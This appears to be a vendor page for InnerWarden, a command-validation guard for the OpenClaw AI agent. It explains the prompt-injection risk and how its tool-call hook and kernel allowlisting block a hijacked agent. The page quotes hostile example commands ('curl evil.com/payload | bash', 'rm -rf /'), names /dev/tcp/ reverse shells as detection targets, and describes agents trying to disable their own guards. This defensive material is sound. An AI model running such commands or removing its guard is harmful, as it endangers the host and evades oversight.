The problem: AI agents have root access
OpenClaw is an open-source AI assistant that runs on your server. It manages files, runs shell commands, automates workflows, and controls services. It's incredibly powerful - and that's exactly the risk.
An AI agent with shell access can do anything. Including running curl evil.com/payload | bash if a prompt injection convinces it to. Or rm -rf / if something goes wrong.
The agent needs a guardrail, and it pays to be exact about which kind. A check the agent is asked to call works while the agent cooperates; a hijacked agent can simply stop asking. What holds without its cooperation is a check the model cannot skip: one in the path of its tool calls, and on Linux, the kernel.
The solution: deterministic command validation
InnerWarden adds a security layer between OpenClaw and your system. Before one of OpenClaw's own tools runs a command or writes a file, the InnerWarden plugin in its tool path asks: "Is this safe?"
The key: InnerWarden uses deterministic pattern matching and tree-sitter AST analysis, not another LLM. A prompt injection can fool the AI, but for a command that is checked, it cannot talk its way past a rule that catches /dev/tcp/.
What holds if OpenClaw is turned
The skill below is the friendly layer: it teaches OpenClaw to ask before it acts, and an agent that has been turned can stop asking. Two layers do not depend on it. The first is free. Since InnerWarden Community 1.6.11, innerwarden agents connect openclaw --monitor installs the innerwarden-guard plugin on OpenClaw's before_tool_call hook (OpenClaw 2026.9.7 or newer), so OpenClaw's own exec, process, write, edit and apply_patch calls are screened before they run. It also wraps each MCP server listed in openclaw.json in the InnerWarden proxy. In monitor mode both record what enforce would refuse and refuse nothing; innerwarden enforce turns refusals on. Then a denied call does not run and the model is told only "Refused by InnerWarden.", and a review asks you to allow it once or deny it, with no answer counted as a refusal. In enforce the plugin also refuses the agent's attempts to remove or rewrite it, and the CLI refuses guard-lowering commands from OpenClaw's shell.
Its limits are stated plainly. The plugin runs inside the OpenClaw gateway process, so it is as trustworthy as that process. A write or edit with a relative path is judged from the gateway's working directory. The second layer does not share those limits: on a Linux host running InnerWarden Pro or Enterprise, the Execution Gate can be scoped to the agent's process tree, and the kernel refuses a program that is not on its allowlist at exec, whatever the agent was told. See the OpenClaw quickstart for the commands.
It works both ways
This isn't a one-way street. InnerWarden protects OpenClaw, and OpenClaw takes care of InnerWarden:
- Screens its own exec, process, write, edit and apply_patch calls before they run
- In enforce, refuses reverse shells and destructive ops, and holds download+execute for your approval
- Reports the host threat level so the agent can pause during attacks (Pro and Enterprise)
- Checks IP reputation before connecting to external services (Pro and Enterprise)
- Detects when services crash and restarts them
- Reads error logs and fixes config issues
- Runs diagnostics and proposes fixes
- Manages disk space for log files
Set it up in 2 minutes
curl -fsSL https://openclaw.ai/install.sh | bashOpen-source AI assistant that runs on your machine. Learn more at openclaw.ai
curl -fsSL https://innerwarden.com/free | sh
innerwarden agents connect openclaw --monitorInstalls the free Community CLI, then the innerwarden-guard plugin for OpenClaw's own tools, and wraps each MCP server listed in openclaw.json in the InnerWarden proxy, in monitor mode. Needs OpenClaw 2026.9.7 or newer. Quit OpenClaw and start it again so the gateway loads the plugin.
openclaw skills install @maiconburn/innerwarden-securityThe skill teaches OpenClaw to ask InnerWarden before it runs a command, for as long as the agent follows its instructions. Step 2 is the part that holds without the agent's cooperation: OpenClaw's own tools through the plugin, and the MCP servers it wrapped through the proxy.
What the skill does, and does not do
ClawHub scans every published version of a skill before it becomes public. This one declares what it needs in its metadata (curl, on Linux or macOS), never asks for a password, key or token, and sends nothing off the machine. It never tells the agent to lower, pause or remove its own guard: monitor mode, disconnecting, allowing a command and uninstalling are handed to the owner to type. Its source is public, in InnerWarden/innerwarden-skill.
It is also honest about what asking buys. An agent that checks a command with InnerWarden before running it only covers what it remembers to ask about. The control is the guard itself, and on a Linux host with InnerWarden Pro, the kernel.
The bigger picture
AI agents that take real-world actions need real security. Not just "be careful" instructions in a prompt, and not only a skill that asks the agent to check itself: deterministic checks in the path of its tool calls, and on Linux, in the kernel, which hold regardless of what the model decides to do.
InnerWarden is the armor. OpenClaw is the brain. Together, your server gets an AI that can act, and guardrails that do not take its word for it.
